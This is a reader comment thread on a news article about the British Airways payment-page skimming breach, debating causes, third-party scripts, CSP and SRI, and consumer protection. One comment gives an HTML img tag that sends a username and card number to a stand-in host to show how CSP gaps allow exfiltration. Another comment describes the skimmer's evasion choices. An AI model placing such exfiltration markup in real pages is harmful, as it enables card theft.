back to article British Airways hack: Infosec experts finger third-party scripts on payment pages

Security experts are debating the cause of the British Airways mega-breach, with external scripts on its payment systems emerging as a prime suspect in the hack. Why infosec folk think it was the payment system Although BA hasn't disclosed the root of the breach, the unusual precision it ascribed to the hack's duration …

  1. Doctor Syntax Silver badge

    3rd party scripts again. When will they learn?

    1. m0rt

      There is nothing to learn, here, per se. This is all known and best practice for creating web pages, and specifically payment pages, is out there.

      Possibly better to say:

      When will they care?

    2. This post has been deleted by its author

      1. Doctor Syntax Silver badge

        "Not saying you may not have a point, but it is not really helpful to point out possible mistakes without also explaining how they may be fixed in a satisfactory manner."

        How old are you? It's not that long since sites didn't work that way. The problem is that more development money goes on shiny UX <spit> than providing essential functionality on the server. It's more a matter of manglement deciding on whether to spend money now on development and maybe running services from their own servers or spending it later on compensation, fines and PR costs to try to repair a trashed reputation.

        1. Anonymous Coward
          Anonymous Coward

          > and maybe running services from their own servers

          They *were* running from their own servers. Please tell me you have bothered to read the report.

          1. This post has been deleted by its author

      2. Anonymous Coward
        Anonymous Coward

        It's web security 101 if you need a blog read owasp.

      3. Flocke Kroes Silver badge

        Re: how they may be fixed in a satisfactory manner

        Amazon works fine with javascript disabled.

        (PS I would be very interested to hear about any other vendor who can sell without javascript.)

        1. Anonymous Coward
          Anonymous Coward

          Re: how they may be fixed in a satisfactory manner

          > Amazon works fine with javascript disabled.

          That is neither here nor there. If they wanted they could have slurped the data in a million other ways.

          As for Amazon, it may work with JS disabled but how does that help when you end up getting scammed anyway by the "Trusted Amazon Partner" that you were, possibly unbeknownst to you, buying from?

          1. Flocke Kroes Silver badge

            Re: That is neither here nor there.

            It is precisely here and there. Disabling javascript drastically reduces the attack surface so there are a thousand fewer ways to slurp the data. The Scammers went after BA despite Amazon having ten times the revenue and far more customers.

            Amazon make it abundantly clear when you are dealing with a partner. You would really have to be stoned out of you brain not to notice. I can tell you precisely what happened to me the only time I got scammed by an Amazon partner. When I tried to complain to Amazon they instantly offered a full refund or credit on my account. The entire process took under two minutes. I have never received such excellent customer server from any other internet / mail order vendor.

            I would dearly love a competitor to Amazon because they are near enough a monopoly. First thing that competitor has to do is demonstrate a minimal understanding of security by having their site work without javascript.

          2. Anonymous Coward
            Anonymous Coward

            Re: how they may be fixed in a satisfactory manner

            > As for Amazon, it may work with JS disabled but how does that help

            It means that the attacker, instead of just having to compromise static files on the front-end part of the site, would have to compromise the back-end services themselves.

            1. RobertII

              Re: how they may be fixed in a satisfactory manner

              Is that true?

              I'll believe that Amazon's site will work with JS turned off.

              But I don't believe that many people do actually turn it off.

              So if I could "compromise static files on the front end part of the site",

              could I not still add JS that would send (copy) information to a location of my choosing?

              1. Anonymous Coward
                Anonymous Coward

                Re: how they may be fixed in a satisfactory manner

                The point is: if you disable JS in your *browser* then you are immune to JS attacks.

                A good site will degrade gracefully and still give you the functionality you need, albeit a bit less responsive, without JS.

                Sadly, most sites these days break if JS is disabled. And as a result, almost nobody disables JS.

        2. sw guy
          Joke

          Re: how they may be fixed in a satisfactory manner

          At least the baker at the corner of my street

    3. Anonymous Coward
      Anonymous Coward

      Not 3rd party

      > 3rd party scripts again. When will they learn?

      Looking at the report, it wasn't a third-party script as such: it was hosted directly on BA's infrastructure. In fact, if they had served the script from a third party host such as a CDN and had used integrity verification this particular attack would have been foiled.

    4. Alister

      Let's just be clear

      The scripts WERE NOT hosted on an external resource, they were served from inside BAs infrastructure. The path they came from was:

      https://www.britishairways.com/cms/global/scripts/lib

      However, they WERE third party scripts in that they were not written specifically for the BA site, but were local copies of script libraries freely available to web developers from various vendors.

      In this case, they were modified versions of the freely available scripts, with malicious extra code added to siphon off users details to an external domain.

    5. This post has been deleted by its author

    6. robidy

      The domain was registered by the miscreants...are there not http headers to limit this.

      There are a number of basic things that could have been implemented to expose parts of the hack that weren't.

      Yet again the basics being missed cause a cluster f***.

      So yes, the lesson (still) to learn is get the basics right before blowing millions with IBM or whoever.

    7. Anonymous Coward
      Anonymous Coward

      We do the same thing

      Our checkout pages have all kinds of external scripts embedded. I currently hold a CISSP certification, and when I constantly bring up all of the security issues on our sites, I'm told something like "It is critical to our business to have these, you just don't understand marketing".

      I just make sure I have paper copies of the emails bringing up these issues. I will eventually need them!!

      AC, well, because!

      1. Fatman
        Happy

        Re: We do the same thing

        <quote>I just make sure I have paper copies of the emails bringing up these issues. I will eventually need them!!</quote>

        Keep that CYAWP file up to date. You never know when you will need it; to send a clueless mangler packing, hopefully without severance pay.

        1. Anonymous Coward
          Anonymous Coward

          Re: We do the same thing

          @Fatman

          The thing is that my boss is a really good guy. The problem is that he just can't bring himself to understand how dangerous some of the things he insists on using really are. He thinks I'm "just being paranoid" about this stuff. He will get it when we have a breach. Only then will he get it!

          It's the boy that cried wolf scenario. When I tell him that something is really dangerous, and we don't remove it; months go by and we don't get hacked, then it becomes "see, that wasn't dangerous after all". I start looking like a paranoid nutjob.

      2. Anonymous Coward
        Anonymous Coward

        'critical to our business to have these, you just don't understand marketing'

        That's the sad truth as Emirates / Lufthansa get shamed here below. This is the mirky world of Data-Analytics-Partnerships & Data Brokers (invasive slurp to you and me). This isn't compatible with GDPR - consent my ass:

        https://www.theregister.co.uk/2018/03/05/emirates_dinged_for_slipshod_privacy_practices/

    8. This post has been deleted by its author

  2. Wellyboot Silver badge

    Shades of Ticketmaster

    This all sounds depressingly similar.

    Coming soon to canned statements near you > Blame the minions, Heartfelt apologies, Promises to do better...

    Time for the ICO to slap a wrist or two.

    Start a pool for the next announcement - I'll tick the supermarket online shopping or possibly a coffee chain.

  3. Anonymous Coward
    Anonymous Coward

    That cookie modal

    Anyone else come across the ridiculous cookie dialogue on the Riskiq site? "Your request is being processes. It may take a few minutes" it says. Seriously. :-\

    1. Dan 55 Silver badge
      Meh

      Re: That cookie modal

      Oh, they've gone for the dark pattern of taking minutes to wipe a bunch of cookies. Always a sign of credibility.

      1. Anonymous Coward
        Anonymous Coward

        Re: That cookie modal

        > Oh, they've gone for the dark pattern of taking minutes to wipe a bunch of cookies. Always a sign of credibility.

        Yeah, they're so careful! They must be good, man.

        Now excuse me for a moment while I roll my eyes.

  4. Steve Davies 3 Silver badge

    Third Party Domains

    BA's payment page still loads content from seven external domains.

    They are not alone in that.

    The current trend to use multiple layers of frameworks that are loaded from 3rd parties for even the simplest operation is a huge hole the size of the Grand Canyon.

    The event at BA is just the tip of the iceberg. If I was running a business that took payments online, I'd be taking a really good look at how that was working and what 3rd parties were involved.

    Oh, and their cost cutting and sending all their IT to India naturally won't have anything to do with it...

    1. Anonymous Coward
      Anonymous Coward

      Re: Third Party Domains

      Third party domains are neither here nor there. It was their own infrastructure that got hacked and nobody noticed until it was too late.

      1. Craigie

        Re: Third Party Domains

        'It was their own infrastructure that got hacked and nobody noticed until it was too late'

        The article does seem to rather miss this point.

    2. Anonymous Coward
      Anonymous Coward

      'BA's payment page still loads content from seven external domains'

      Reason being: there's $$$ in merging and sharing analytics, and before GDPR nothing to stop it. This mirky world of backroom Data-Brokers has to end... But as long as there's paying-customers from Double-Click to Experian to Facebook, nothing is going to stop. Flight bookings generally contain juicy accurate data-sets and so are a captive market for slurpy vampires etc:

      https://www.theregister.co.uk/2018/03/05/emirates_dinged_for_slipshod_privacy_practices/

  5. Anonymous Coward
    Anonymous Coward

    GDPR in action

    "[T]he company noted that around 380,000 customers could have been affected and that the stolen information included personal and payment information but not passport information."

    It is good to see the hackers applying data minimisation techniques.

    1. Flywheel
      Facepalm

      Re: GDPR in action

      "but not passport information"... hackers applying data minimisation techniques

      Unless they've already snaffled the passport info and that breach hasn't been discovered yet.

  6. iron Silver badge

    third party scripts, including from external domains that the company itself owns

    If the company owns the domain then it isn't a third-party script. Would be nice if security researchers and journos could at least get the basics right when they complain about others not getting their basics right.

    1. Anonymous Coward
      Anonymous Coward

      Re: third party scripts, including from external domains that the company itself owns

      > If the company owns the domain then it isn't a third-party script.

      Exactly. And this is made plain in the first lines of the report, past the self-patting twaddle.

      The level of ignorance shown in these comment sections these days is appalling. It is like everyone who owns a phone and has ever used a web browser feels qualified to "talk IT".

      1. adnim

        Re: third party scripts, including from external domains that the company itself owns

        Third party script... code run in context or otherwise from from a third party website not the originating domain.

        Third party code... code written by an unknown entity, which may or may not have been vetted and run in the head of the developer and then well tested before deployment. This can become a third party script.

        Right or wrong this is how I have always interpreted these terms.

    2. Alister

      Re: third party scripts, including from external domains that the company itself owns

      If the company owns the domain then it isn't a third-party script.

      Wrong.

      Modernizr is a third-party script library, as are JQuery et al. They are produced and distributed by a third party. Just because you host a local copy on your own domain doesn't make them not third-party.

  7. Anonymous Coward
    Anonymous Coward

    BA passenger?

    Got your number....how does that make you feel when travelling international?

  8. Anonymous Coward
    Anonymous Coward

    Possible mitigation?

    Aside from breach prevention, I was thinking of possible ways this could have been mitigated.

    Currently we have CORS to declare with which hosts a server is willing to share resources. We also have CSP to declare from which hosts ours is willing to receive resources.

    What we do not seem to have is a specification to declare to which hosts (if any) our page is expected to send data.

    Obviously this would be just another brick in the security wall, but such a specification could have stopped the exfiltration taking place even though part of BA's infrastructure (but for some reason not the main site) got successfully penetrated.

    1. cosmogoblin

      Re: Possible mitigation?

      <not a security guy>

      Sounds like something a browser plugin could do - maybe just an additional feature to NoScript, to by default block communication by scripts to domains other than their origin?

      Also, isn't this called XSS, and already dealt with by security protocols?

      </nass>

      1. Anonymous Coward
        Anonymous Coward

        Re: Possible mitigation?

        > maybe just an additional feature to NoScript, to by default block communication by scripts to domains other than their origin?

        That might actually be a reasonable stopgap feature. In my experience most often the hosts serving the code and those receiving the data are under the same domain, so highlighting any deviations from this could let an astute user know that something may be amiss.

        A more permanent solution should probably be standards-based, but your idea is a start.

        > Also, isn't this called XSS, and already dealt with by security protocols?

        No, this wasn't cross-site scripting. Malicious code was injected into BA's own hosts and served via their own scripts. The attack is rather elegant in its simplicity.

      2. Anonymous Coward
        Anonymous Coward

        Re: Possible mitigation?

        > <not a security guy>

        Come on chaps, why are you downvoting that comment without offering a counter-argument? He makes a pretty reasonable analysis that shows that, while not claiming to be specialised in security, the poster does have a sufficiently good background to firmly grasp the problem at hand.

        What is it that you disagree with and why?

    2. Brewster's Angle Grinder Silver badge

      Re: Possible mitigation?

      The CSP will do this for you already. But you have to lock everything down. If, for example, you allow images from anywhere then I can exfiltrate data by including the image:

      <img src="http://example.com/save-hacked-details/?user=brewsters-angle-grinder&credit-card=1234-0000-8000-1234&">

      1. Anonymous Coward
        Anonymous Coward

        Re: Possible mitigation?

        > The CSP will do this for you already.

        Hmm... Can you offer an outline of a security policy that will stop a trusted resource from making a request (HTTP POST or HTTP GET as in your example) to an untrusted target?

  9. Anonymous Coward
    Anonymous Coward

    BA.com gets a B score on ssllabs

    Weak key exchange highlighted for a start

    3rd party scripts are a ticking time bomb

    1. Anonymous Coward
      Anonymous Coward

      Re: BA.com gets a B score on ssllabs

      Congratulations, you have heard of Qualys.¹

      > Weak key exchange highlighted for a start

      Any website intended for a large and diverse audience has to have support for older ciphers. It is the same with Google, Facebook, Amazon, EBay, etc., etc. This is not the same as supporting known vulnerable ciphers.

      > 3rd party scripts are a ticking time bomb

      What third party scripts?

      ¹ A little knowledge is a dangerous thing, they say.

  10. Anonymous Coward
    Anonymous Coward

    Is there anything the average user could have done to protect themselves against this kind of attack? I don't know that much about web security (no I don't work for BA /s) so I'm curious if you have any hope of avoiding such attacks. Other than never using your credit card online of course!

    1. John Riddoch

      Disabling Javascript would have protected you in this instance and against similar hacks. No idea if that would have crippled the site or not, though.

      1. Anonymous Coward
        Anonymous Coward

        > Disabling Javascript would have protected you in this instance

        That is not useful advice.

        For a start, the poster specifically mentioned a "non-technical" user so it is questionable whether disabling JS is within the reach of our actor.

        Then, the user would not have been able to complete the transaction, so better advice would be not to visit the site (perhaps the user could buy the ticket over the phone?).

        But the main thing is, whatever your mechanism for triggering the transmission, be it JavaScript Fetch or a form action or whatever else, you're still exposed to the technique used which is a MOTS (Man On The Side) attack, a form of MITM (Man In The Middle).

        1. Anonymous Coward
          Anonymous Coward

          I'm the OP - personally, I am a technical user but with no experience of developing or managing websites. As well as trying to learn more for myself, my family assume I know everything technical and will likely ask me for advice on this!

          I had experimented with turning off javascript in the past but most sites that support any kind of transaction or interaction need it enabled these days.

          Sounds like best advice is general good practice (keep software up to date etc) and monitor your credit card transactions closely. when experiencing fraud a couple of times in the past my bank has at least always refunded me promptly.

          1. Anonymous Coward
            Anonymous Coward

            > Sounds like best advice is general good practice

            Yup!

            > As well as trying to learn more for myself

            That is the way! I find the proliferation of posts filled with Schadenfreude and offering no real discussion or worse, bad advice, rather disappointing. :-(

    2. Anonymous Coward
      Anonymous Coward

      > Is there anything the average user could have done to protect themselves against this kind of attack?

      Great question!

      The single most important thing that you can do is monitor your credit card / bank transactions and report anything that does not look legit.

      From a technical point of view, sadly, there is no protection that I can think of. But read on.

      A technical user who *knew* or strongly suspected there was a threat could have stopped it in a number of ways but realistically that isn't likely. Myself having the qualifications, experience, knowledge and capability to stop the attack if I knew it was there, I would have been squarely caught by it.

      However, there are ways to mitigate the impact of any such attacks. One way is as you say, not to use your credit / debit card online. If you can pay by bank transfer (or get a corporate account if you're a business customer) then do so, assuming that your bank's security is not itself too questionable. :-) Another way would be to use one-shot / prepaid credit card numbers. You will still get owned, but only up to the balance on the card.

      But the takeaway is that defences are primarily human not technological. Just keep an eye on your statements.

      1. katrinab Silver badge

        Paying by bank transfer is very bad advice, because you have no come-back if the supplier doesn't deliver.

        1. yorksranter

          Absolutely. This is a terrible trade-off - giving up a *lot* of institutional/legal security in exchange for some improvement in cybersecurity.

    3. I ain't Spartacus Gold badge

      You can get some credit cards that allow you to generate a throw-away electronic-only card number for one-off transactions on websites. It's probably no use for BA, as they may expect you to have the card with you when you check-in (they used to, but I've not used BA in 15 years).

      The article mentions a guy who tried to use Noscript and complained to BA that he had to take his defences down in order to use their website, so I suspect that you can't protect yourself in that way - and that's probably true for a lot of these websites.

      So the only real way is to check your credit card bill every month, before it's paid - so you can complain about any fraudelent transactions.

      1. DuchessofDukeStreet

        An entirely non-technical tactic - I use a second credit card (issued by a provider I have no other financial ties with) for every single online transaction I do, and check its transactions frequently. My main card - which has a higher credit limit - never goes near a website, and nothing on earth would induce me to put bank account card details into a website (except within my own bank's website). It's not going to stop someone getting the details, but it will reduce the inconvenience to me if it happens.

        It also made it really easy for the main card provider to spot a fraudulent transaction when the offline card appeared to be used on an online transaction, as it was completely out of pattern.

        1. James R Grinter

          I've never lost out as a result of fraudulent transactions on any credit card and there have been a few over the years (I don't think I've ever had my debit card ripped off: I don't use it anywhere but ATMs.)

          It's just the inconvenience of having to get cards replaced, but Amex were quick (reported Saturday, arrived Tuesday) on the last occurrence - which was probably the miscreants testing cards stolen via Ticketmaster but after the BA hack and publicity.

  11. Anonymous Coward
    Anonymous Coward

    GDPR yet to act

    BA has admitted the hack and notified customers, however GDPR requires "Security by Design and Default".....does anyone agree that BA's implementation satisfies this requirement?

    Under GDPR the company and BA management decision makers are now in the frame for prosecution and fines.

  12. Yet Another Anonymous coward Silver badge

    BA - Oh the irony

    To hack an airline and steal all their passenger data you used to have to own the mainframe and be renting the ticketing service to the competitor airline you were hacking.

    And then be let off without any sort of fine - because the mainframe was on your premises so you had done nothing wrong.

    Now you can outsource hacking your own customers to somebody in Romania

    1. yoganmahew

      Re: BA - Oh the irony

      @Yet Another

      My, my, the virgins seem not to like your comment much! ;-)

  13. Sandtreader
    Boffin

    Looking at the JS

    JS dev here, a few interesting points about the added code:

    - Uses JQuery explicitly rather than $ - maybe the BA site had disabled $?

    - But doesn't use JQuery all the time, when it would have been quicker to do so - getElementByID("personPaying") - maybe indicating two authors?

    - Odd to replace window.onload entirely when you have $(function() { ... } )

    - Uses a 500ms setTimeout and async AJAX to avoid delaying the legitimate operation, and domain 'baways.com' which looks plausible-ish, in case anyone notices it in the status bar.

    - As the article says, binds to both mouseup and touchend so it also works in their thin-wrapper mobile app. That must have been an unexpected bonus J

    The big question, of course, is how did the attackers manage to inject this into their static CMS server? But it emphasises that if you are loading libraries - yours or third party - the security of those sources is just as critical as the payment handling server.

    1. Anonymous Coward
      Anonymous Coward

      Re: Looking at the JS

      Nice summary!

      Yep, two devs or one dev in different sessions, possibly widely temporally spaced.

      I agree, the big question is how did they penetrate their servers. A post-mortem of that is nowhere to be found at the moment.

      1. cb7

        Re: Looking at the JS

        "the big question is how did they penetrate their servers"

        Exactly.

        As someone else mentioned, a server compromised through an outsourced outfit.

        Or a laid off ex employee with a grudge to bear who had installed a back door before they left.

    2. theblackhand

      Re: Looking at the JS

      Thank you!

      My question was going to be "could this be a case of exploiting an unnoticed typo or partially planned functionality that was never implemented by finding the error and discovering the domain was available" but the async AJAX suggests they were trying to minimise the impact of the calls so they remained hidden.

      1. Anonymous Coward
        Anonymous Coward

        Re:- Looking at the JS

        Had opportunities to get into coding web sites but feared it. In the early 00's the web was already heavily commercialized but still stuck using bad practices from the 90's. Forced habits from all the browser-type checking or specific browser version glue etc. So when evaluating JS functionality it was easy to miss stuff, like undecidable glue bolted on over the years rather then the right tool for the job in an increasingly complex security conscious world. So how is JS looking in 2018, can anyone say? Thanks!

    3. This post has been deleted by its author

  14. Anonymous Coward
    Anonymous Coward

    @John Leyden / ElReg: Can you please get the headline changed?

    As has already been pointed out, it is clear that there were no "third-party scripts" involved and that this was a breach of BA's own infrastructure.

    It would be good if your headline at least vaguely reflected the facts. Cheers.

    1. Alister

      Re: @John Leyden / ElReg: Can you please get the headline changed?

      @AC

      it is clear that there were no "third-party scripts" involved

      Modernizr is a third-party script library, as are JQuery et al. They were not written specifically for the BA site, or by BA's dev team, they were written by a third party...

      No, they weren't hosted externally, but that's a different matter.

      So the headline is technically correct.

      1. Anonymous Coward
        Anonymous Coward

        Re: @John Leyden / ElReg: Can you please get the headline changed?

        > So the headline is technically correct.

        Ah, "technically correct". Did it reflect the facts though? Would it have made any difference whatsoever whether they injected the code in one script file or a different one? They got breached and what does the headline say?

      2. DavCrav

        Re: @John Leyden / ElReg: Can you please get the headline changed?

        "So the headline is technically correct."

        The best kind of correct.

  15. Version 1.0 Silver badge
    Facepalm

    Old School methods

    It looks like a traditional attack updated to use Javascript - this vector would work on most sites once you gain access to the servers. All you need to do is find someone hired by an outsourced, third-party support company and give them a USB stick. Nothing new about this at all.

  16. EnviableOne

    is it just me

    Or are RiskIQ just seeing Magecart everywhere?

    this could quite reasonably be someone who has an Issue with BA that got hold of the code for the Ticketmaster thing

    1. Sandtreader

      Re: is it just me

      Good thought - indeed any competent web dev could write both this code and the backend POST handler in under an hour. But that leaves out the capability to inject this in the first place, and then 'fence' the massive resulting data set, which I guess points to a more established group.

  17. petef

    The RiskIQ report builds a plausible argument from the evidence it gathered.

    What is not explained is how the copy of the Modernizr JS hosted by BA was compromised.

    1. Anonymous Coward
      Anonymous Coward

      > What is not explained is how the copy of the Modernizr JS hosted by BA was compromised.

      Which is precisely what needs to be explained.

      It's all very well to say how they got the data out. Question is, how did they get in in the first place? Why is that not being talked about?

  18. Anonymous Coward
    Anonymous Coward

    Its not my job to check these things said any manager

  19. 0laf
    Boffin

    PCI

    Lack of functioning iFrames between the website and the payment engine would be a failure of BA's PCI DSS compliance would it not?

    Assuming they are PCI compliant.

    1. Cynical Shopper

      Re: PCI

      No, that just affects which SAQ applies:

      https://www.pcisecuritystandards.org/pci_security/completing_self_assessment

  20. Shaha Alam

    so much for the green padlock icon telling us the page is secure.

    1. Anonymous Coward
      Anonymous Coward

      > so much for the green padlock icon telling us the page is secure.

      Well, the page *is* secure. None else apart from British Airways and the operators of the VPN server in Romania, and their respective trusted partners and affiliates, had access to your data.

      1. Norman Nescio Silver badge

        Green Locked Padlock icon

        I suspect there is a general problem with the interpretation of the green locked-padlock icon.

        The average user, if they think about it at all, assumes that it means that the transaction is secure, whereas https is designed to make the communications channel relatively secure, in that it is (relatively) difficult to decrypt the information in transit. Few people actually check the provenance of the certificate attesting that the site they are connecting to is indeed who it says it is - the SSL cert for baways.com might have tipped a few people off if they had.

        This confusion leads to exploits, where, as in this case, malware is delivered over 'secure' channels.

        There is no simple way for an end-user to confirm the the authenticity of the scripts that their browser is running. There are tools available to assure that you run only signed code, but they are not always used e.g. Subresource Integrity and Content Security Policies.

        A green padlock does not tell you whether the site you are connecting to is sending you a script over https that contains non-authenticated javascript from elsewhere. As BA have found out, that is a problem.

        See also: "The Green Padlock is not enough"

        Scott Helme has some good reading on CSP and SRI -

        Scott Helme: Articles tagged with CSP

        Scott Helme: Articles tagged with SRI

        This article of his basically tells you why CSP + SRI really ought to be the default...Protect your site from Cryptojacking with CSP + SRI

        1. Cynical Shopper

          Re: Green Locked Padlock icon

          Except in this case, given that the hackers modified a file on BA's server, they could have modified its CSP too.

        2. EnviableOne

          Re: Green Locked Padlock icon

          dont forget Securityheaders and Report-URI

          Scott's done a lot of work on this, and Troy Hunt is joining forces too.

    2. Yet Another Anonymous coward Silver badge

      HTTPS - the equivalent of putting your credit card into a locked security van with armed guards and delivering it to some homeless guy on the street

      1. LeahroyNake

        Or more likely a highly paid hacking team from any nation that has the interwebz...

  21. Anonymous Coward
    Anonymous Coward

    Only 7 external scripts?

    I have been yelling at various companies (and posting warnings on public forums), about this for a few years; some of them take notice, others I dont do business with any longer.

    The ones that REALLY wind me up are external scripts for FUCKING FANCY FONTS!!!! on a secure payment page, that make the payment fail if you dont allow them.

    Please excuse the alliteration; but this practise is inexcusable.

    1. LeahroyNake

      Re: Only 7 external scripts?

      Google by chance?

    2. Psycho Flump

      Re: Only 7 external scripts?

      The whole commercial font system is to blame for externally loading fonts (usually via a third party JavaScript file). Font licenses being what they are: pay £1000’s for the license but those help guide PDFs you want to create? That’s one extra license per file. Want to use the font on your website? Then you need to use Adobe’s TypeKit because we won’t let you serve the WOFFs from your own domain.

    3. Anonymous Coward
      Anonymous Coward

      'I have been yelling at various companies'

      On Flight / Hotel bookings sites there's a bunch $$$ in analytics:

      https://www.theregister.co.uk/2018/03/05/emirates_dinged_for_slipshod_privacy_practices/

  22. Anonymous Coward
    Anonymous Coward

    Offshore'd coding

    Explains all.

  23. Ian 55

    I do have a teeny bit of sympathy

    On the one hand, companies are told not to try to write some bits of a secure system themselves, but to use other people's libraries - the list of people who thought they could do crypto functions and ended up with something less secure than ROT13 is very, very long.

    On the other, they get blamed if they do use outside code and something goes worng.

POST COMMENT House rules

Not a member of The Register? Create a new account here.

  • Enter your comment

  • Add an icon

Anonymous cowards cannot choose their icon

Other stories you might like